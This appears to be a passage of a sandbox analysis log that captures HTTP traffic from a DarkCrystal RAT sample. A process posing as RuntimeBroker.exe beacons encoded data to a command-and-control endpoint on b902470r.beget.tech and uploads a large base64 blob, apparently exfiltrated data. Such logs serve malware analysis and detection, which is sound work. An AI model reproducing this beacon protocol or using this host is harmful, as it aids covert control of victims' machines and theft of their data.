Nov 9, 2024 22:22:58.669523954 CET	398	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:22:58 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Keep-Alive: timeout=30 Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 Data Raw: 03 1a 23 5b 3c 03 21 55 23 3a 2a 1d 29 32 21 1a 3f 04 21 5a 32 0e 0e 5c 3c 05 3d 16 28 5b 2c 0d 20 3d 22 5d 33 2f 3d 12 35 08 20 13 25 20 2b 5a 01 1c 25 42 3e 2e 23 0d 26 16 2d 0e 25 27 21 17 23 01 11 16 31 37 33 5c 32 21 21 56 2a 33 0e 53 38 08 36 03 2b 2d 33 40 25 31 2d 0a 37 25 2a 55 03 12 20 08 2a 3d 2c 0e 26 03 2b 54 28 1f 24 1d 36 3d 33 1e 36 02 27 07 27 01 28 05 3b 1d 20 59 27 23 2b 58 2b 22 05 5b 20 12 0f 19 27 10 23 50 2d 0d 23 48 05 3f 5c 56 Data Ascii: #[<!U#:)2!?!Z2\<=([, ="]3/=5 % +Z%B>.#&-%'!#173\2!!V3S86+-3@%1-7%U =,&+T($6=36''(; Y'#+X+"[ '#P-#H?\V

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49784	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:22:58.808417082 CET	271	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue
Nov 9, 2024 22:22:59.165019035 CET	2544	OUT	Data Raw: 50 56 5c 5a 56 5d 5b 5d 5d 5d 54 54 54 5d 5b 56 56 5b 5f 58 5b 50 5a 5a 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: PV\ZV][]]]TTT][VV[_X[PZZV]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]"%2)#8!-4X$?4>=8 080?()(8%.*.?'Y&%[(
Nov 9, 2024 22:22:59.733767986 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:22:59.795597076 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:22:59 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49785	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:22:59.917428017 CET	295	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:23:00.274373055 CET	2544	OUT	Data Raw: 55 57 59 5c 53 5c 5b 50 5d 5d 54 54 54 56 5b 5b 56 5a 5f 59 5b 51 5a 5e 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: UWY\S\[P]]TTTV[[VZ_Y[QZ^V]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!_02*#X#>Z''X4-#>;''<<83$>=-/'Y&%[($
Nov 9, 2024 22:23:00.857515097 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:23:00.925493956 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:23:00 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49791	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:23:01.259957075 CET	295	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:23:01.618143082 CET	2544	OUT	Data Raw: 55 54 59 52 56 5c 5e 51 5d 5d 54 54 54 54 5b 54 56 59 5f 5f 5b 57 5a 57 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: UTYRV\^Q]]TTTT[TVY__[WZWV]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!_0*4&!-$'<<# >8836'3+?^$&-:Z./'Y&%[(,
Nov 9, 2024 22:23:02.173264980 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:23:02.224282980 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:23:02 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49794	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:23:01.691696882 CET	294	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 540 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:23:02.041276932 CET	540	OUT	Data Raw: 50 52 59 5b 56 58 5b 53 5d 5d 54 54 54 5d 5b 55 56 5e 5f 5e 5b 53 5a 58 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: PRY[VX[S]]TTT][UV^_^[SZXV]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]"31> Z6>$X$<(!./)7['&33?X)++%.!,/'Y&%[(
Nov 9, 2024 22:23:02.633105993 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:23:02.680944920 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:23:02 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV
Nov 9, 2024 22:23:02.681639910 CET	317	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----XnwpcadWA7dVK9LThNqmBuIauwZBgy6qQJ User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 181926 Expect: 100-continue
Nov 9, 2024 22:23:02.972052097 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:23:02.972397089 CET	12360	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 58 6e 77 70 63 61 64 57 41 37 64 56 4b 39 4c 54 68 4e 71 6d 42 75 49 61 75 77 5a 42 67 79 36 71 51 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 30 22 Data Ascii: ------XnwpcadWA7dVK9LThNqmBuIauwZBgy6qQJContent-Disposition: form-data; name="0"Content-Type: text/plainPRYYVW[P]]TTTR[UVY_\[WZZV]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]
Nov 9, 2024 22:23:02.977459908 CET	7416	OUT	Data Raw: 4d 57 30 72 57 43 74 31 64 54 56 61 53 6b 49 32 4f 57 46 55 59 55 39 34 63 44 6c 32 52 57 73 32 55 57 73 7a 62 48 42 44 4f 58 68 6b 52 7a 42 6e 61 6d 31 61 64 7a 42 7a 64 55 5a 50 4d 47 4a 56 53 55 67 7a 62 44 56 4b 53 46 64 78 56 56 59 35 59 6e Data Ascii: MW0rWCt1dTVaSkI2OWFUYU94cDl2RWs2UWszbHBDOXhkRzBnam1adzBzdUZPMGJVSUgzbDVKSFdxVVY5YnlxaFdlTGNRZHlianVRZzR3Y2dEUDBKcm9qWHBPWHM0dlZITFBEVjFEMnNsbytwWUtta3hTcTRZWlVnajJOT0xjYzFzYytveWlwMGdTUm9JaGMycVhkeXU2M3RIZGhMS08yTUtWRzdzR1lFL2lNMVpaRmgwVzAxWm1
Nov 9, 2024 22:23:02.977492094 CET	9888	OUT	Data Raw: 4f 45 70 44 62 46 56 6a 4c 30 78 72 4e 32 77 32 57 55 39 52 54 32 52 42 65 47 38 7a 56 6b 5a 51 4d 55 5a 4b 4e 56 56 6c 59 79 74 58 64 6a 56 56 4e 56 70 51 51 6e 6c 31 63 47 59 78 57 6b 77 35 52 55 70 61 4e 56 56 56 59 6b 39 4f 4c 7a 5a 6d 4b 31 Data Ascii: OEpDbFVjL0xrN2w2WU9RT2RBeG8zVkZQMUZKNVVlYytXdjVVNVpQQnl1cGYxWkw5RUpaNVVVYk9OLzZmK1psS2xoZlcvd0RhRnplUlc5MmJLT0NlMHVJcEMyNk9OVUJqS3FWSVlLRGhpdURrZE9hZHFsL2IzZWlNaVhObk9HMHUwZ2h0WUxSNDdoTGlNSmt5UzdGM3hqYTN5bDNIM2NEZ0VhYlJSc2NtTlQ5UlNDS01ISWpRSDJ
Nov 9, 2024 22:23:02.977515936 CET	2472	OUT	Data Raw: 62 30 35 4d 55 31 56 42 53 6c 4a 70 61 57 6c 6e 57 57 78 47 54 46 4e 56 52 45 56 77 51 30 74 6a 59 56 4e 6e 51 6e 52 47 53 32 46 54 5a 33 42 44 56 57 68 77 56 46 49 79 62 30 46 69 55 30 64 75 5a 48 46 52 61 57 64 5a 62 45 5a 4d 55 30 56 6a 4d 45 Data Ascii: b05MU1VBSlJpaWlnWWxGTFNVREVwQ0tjYVNnQnRGS2FTZ3BDVWhwVFIyb0FiU0duZHFRaWdZbEZMU0VjMEZDVWxLUlFhQm9iaWlscE1VREVwUHJUalNkYUFFb3BhUTBERXhta3hUdTlKUU1RL3dDY1VsS2FUK2RBd0lOQm82VWZ5b0dKMTRwS1dnL1dnQnZYbnY2MFlwZTlKUU1PTS9oU1VwL1dnOWZhZ1locE9sTGlqdFFBbVB
Nov 9, 2024 22:23:02.977533102 CET	4944	OUT	Data Raw: 65 46 64 43 62 7a 52 70 63 44 64 53 65 6e 52 6d 4d 46 42 61 64 31 64 61 56 6a 68 4d 55 7a 6c 75 52 32 35 6b 53 79 39 6a 4f 57 4d 76 4e 46 52 6d 64 7a 63 76 64 30 4a 43 52 43 39 35 51 6b 6f 76 4f 45 46 46 4d 47 59 34 53 6e 59 30 5a 43 39 33 51 32 Data Ascii: eFdCbzRpcDdSenRmMFBad1daVjhMUzluR25kSy9jOWMvNFRmdzcvd0JCRC95QkovOEFFMGY4SnY0ZC93Q2doLzVBay84QWlhOGthMnVWc3hlTmEzQXRUMG5NTGVXZWNmZXhqcjcwMk9HZWEzbHVJYmVlV0NIUG15eHhNeUpnWk9TQmdjZXRjMzlrVUxYOXArUjFmMjVpYjI5bHY2bm9uaW54VG8ycGVHN3UwdEx6eko1Tm0xZkt
Nov 9, 2024 22:23:02.982841015 CET	4944	OUT	Data Raw: 56 58 5a 68 59 33 59 33 65 6d 5a 35 55 45 6c 78 4b 33 6b 31 64 6a 4e 57 4e 32 56 5a 4d 55 64 68 4d 30 39 49 62 6c 64 4c 56 7a 68 72 4f 48 5a 54 65 6b 74 6f 53 56 4d 33 51 32 74 44 55 55 68 4a 51 55 46 35 52 6e 6c 6a 61 6d 4d 32 62 69 74 42 4d 56 Data Ascii: VXZhY3Y3emZ5UElxK3k1djNWN2VZMUdhM09IbldLVzhrOHZTektoSVM3Q2tDUUhJQUF5RnljamM2bitBMVR0OUQxcXowQ043YlM5Vk43cUN0QzBxV2pzTGFFSEVoSkNuRE9RVjlkdTcrOEtrbDA2MW1rTWtrWVpqM05WMDBPeWlZc2lNcFBmTmViV3dGV2RTVWxKV2x2NkwrdFQxNkdaMGFkS01IRjNqdDZ2L0xvUWEzSGNSK0Z
Nov 9, 2024 22:23:02.982865095 CET	2472	OUT	Data Raw: 51 56 6b 78 4b 31 46 4e 55 55 39 55 4c 30 46 4b 54 6d 51 72 63 33 46 32 53 44 4a 4a 53 58 4a 35 4d 31 56 30 52 57 34 77 4e 55 4a 4a 4d 30 31 4d 53 47 46 79 53 47 63 31 4b 32 78 69 62 6d 68 44 5a 6d 52 32 5a 32 70 32 53 6b 35 35 52 45 78 58 4f 47 Data Ascii: QVkxK1FNUU9UL0FKTmQrc3F2SDJJSXJ5M1V0RW4wNUJJM01MSGFySGc1K2xibmhDZmR2Z2p2Sk55RExXOG95TWYza1BiM0h2V3ZFdUJoajZUemFoVjVvMlN0WjZXOCttdmRkVHJ5L0txZUF3Nm94bGQ3dDJ0Zjh4ZFo4TnZIZWI3SlFZcE1rSjZOMTJqOE00L0wwcm1zWU9EWHB3bEQ0VmgwSS9PdUo4VFdxMjJzeUZCaFpsRWd
Nov 9, 2024 22:23:02.982888937 CET	2472	OUT	Data Raw: 51 32 74 76 51 55 38 7a 64 6c 4e 46 4f 47 52 78 57 45 6f 35 53 30 31 5a 62 30 64 4b 55 6a 63 77 57 54 51 76 62 6c 4d 72 64 6e 5a 52 54 54 63 79 62 58 6c 4f 63 31 46 30 4e 6b 52 4b 63 44 46 55 4d 6d 78 6f 59 7a 5a 73 53 32 4a 6c 4d 57 68 4e 4d 47 Data Ascii: Q2tvQU8zdlNFOGRxWEo5S01Zb0dKUjcwWTQvblMrdnZRTTcybXlOc1F0NkRKcDFUMmxoYzZsS2JlMWhNMGhVa29PdU85YzFaUmRPU2s3Sm8rZHdjNVU4UlRuRlhhYWR1OW5jYmIzTEl3WldJSTdpcGRYOFJYbHJEYXh3dHNFaW5mS0J5U0QwSHAyUDQwNkR3bjRqakd4OUxuTzA0RGNjajg2bzMxc3ltU3h2b2lyb2VWejh5Ti9
Nov 9, 2024 22:23:02.982980967 CET	7416	OUT	Data Raw: 5a 44 5a 6b 61 47 6c 46 59 31 56 75 4b 32 56 73 54 47 6c 73 54 6b 5a 6f 62 31 6c 53 61 57 74 77 4f 55 35 76 52 30 6c 6c 59 55 52 54 4d 47 31 50 4f 55 6c 5a 4d 47 6f 34 59 56 45 77 4f 44 51 32 5a 44 5a 54 61 30 31 61 61 6d 31 71 64 43 74 4f 54 33 Data Ascii: ZDZkaGlFY1VuK2VsTGlsTkZob1lSaWtwOU5vR0llYURTMG1POUlZMGo4YVEwODQ2ZDZTa01aam1qdCtOT3h4VGNjK21LZGhpSHJTWXozcFNLT2NHa01Ta3h6K0ZMU2R2clJZWUdrN1lwZjBwRGdqaWl3eEtUclM5cU9sQXhPOUI0cGVQeXBNMERFeFFmWDlhZGpyM3BQclFBbEpTOXFUdlRHRklhWHJRUjNvc0EwamswblduRVV
Nov 9, 2024 22:23:03.834480047 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:23:03 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49795	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:23:02.354361057 CET	295	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:23:02.711920977 CET	2544	OUT	Data Raw: 55 50 5c 58 56 58 5e 57 5d 5d 54 54 54 52 5b 50 56 59 5f 5b 5b 51 5a 57 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: UP\XVX^W]]TTTR[PVY_[[QZWV]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]"%"1D 66./'3Y#=?++<0&,3<<+;'@$>-?'Y&%[(
Nov 9, 2024 22:23:03.274646044 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:23:03.337459087 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:23:03 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49806	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:23:03.803069115 CET	271	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue
Nov 9, 2024 22:23:04.149853945 CET	2544	OUT	Data Raw: 55 5b 5c 59 56 58 5e 55 5d 5d 54 54 54 50 5b 5a 56 58 5f 5d 5b 53 5a 5b 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: U[\YVX^U]]TTTP[ZVX_][SZ[V]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]"'"2 (^#.4'/ .Y+;+'<[0,$+;7A&==:?'Y&%[(<
Nov 9, 2024 22:23:04.696708918 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:23:04.760313034 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:23:04 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV
Nov 9, 2024 22:23:04.760668993 CET	271	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2220 Expect: 100-continue
Nov 9, 2024 22:23:05.045675039 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:23:05.045839071 CET	2220	OUT	Data Raw: 50 57 59 5c 56 5c 5b 51 5d 5d 54 54 54 54 5b 5b 56 59 5f 5b 5b 52 5a 57 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: PWY\V\[Q]]TTTT[[VY_[[RZWV]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!3T-@ (6>[$<7^4.')]+[&58X0??E%>9'Y&%[(,
Nov 9, 2024 22:23:05.395579100 CET	398	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:23:05 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Keep-Alive: timeout=30 Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 Data Raw: 03 1a 23 12 2b 5c 26 0f 23 5f 3e 55 28 32 3d 51 2b 2e 35 58 27 20 05 06 2b 2c 26 05 2b 2d 06 0e 21 5b 29 05 24 12 26 07 22 21 2b 02 31 30 2b 5a 01 1c 25 08 3c 13 23 0f 31 06 03 0e 33 37 04 05 37 3c 38 05 24 37 24 02 26 32 21 11 2a 33 38 1f 2f 0f 29 11 28 3e 3b 46 32 31 32 57 37 25 2a 55 03 12 23 50 2b 3d 20 0f 26 3d 2f 52 3f 08 28 1d 21 3e 2b 5b 23 28 2f 06 26 3b 2b 59 2c 33 30 10 30 0d 06 01 2b 22 27 12 20 12 39 53 33 3a 23 50 2d 0d 23 48 05 3f 5c 56 Data Ascii: #+\&#_>U(2=Q+.5X' +,&+-![)$&"!+10+Z%<#1377<8$7$&2!38/)(>;F212W7%U#P+= &=/R?(!>+[#(/&;+Y,300+"' 9S3:#P-#H?\V

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	49812	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:23:04.892954111 CET	271	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue
Nov 9, 2024 22:23:05.243175983 CET	2544	OUT	Data Raw: 55 52 59 5d 56 56 5e 55 5d 5d 54 54 54 50 5b 55 56 5f 5f 5a 5b 55 5a 5c 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: URY]VV^U]]TTTP[UV__Z[UZ\V]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!\01>"(:6-<[$,<#$)3% ['3^?8+1^.'Y&%[(<
Nov 9, 2024 22:23:05.818639040 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:23:05.881573915 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:23:05 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	49818	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:23:06.013551950 CET	271	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue
Nov 9, 2024 22:23:06.368213892 CET	2544	OUT	Data Raw: 55 50 59 52 56 5c 5b 5d 5d 5d 54 54 54 54 5b 52 56 58 5f 58 5b 51 5a 5d 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: UPYRV\[]]]TTTT[RVX_X[QZ]V]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]"$%A4;""0 >$Y)];0% 03+(;$.%9'Y&%[(,
Nov 9, 2024 22:23:07.170403957 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:23:07.170417070 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:23:06 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV
Nov 9, 2024 22:23:07.170447111 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:23:06 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	49824	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
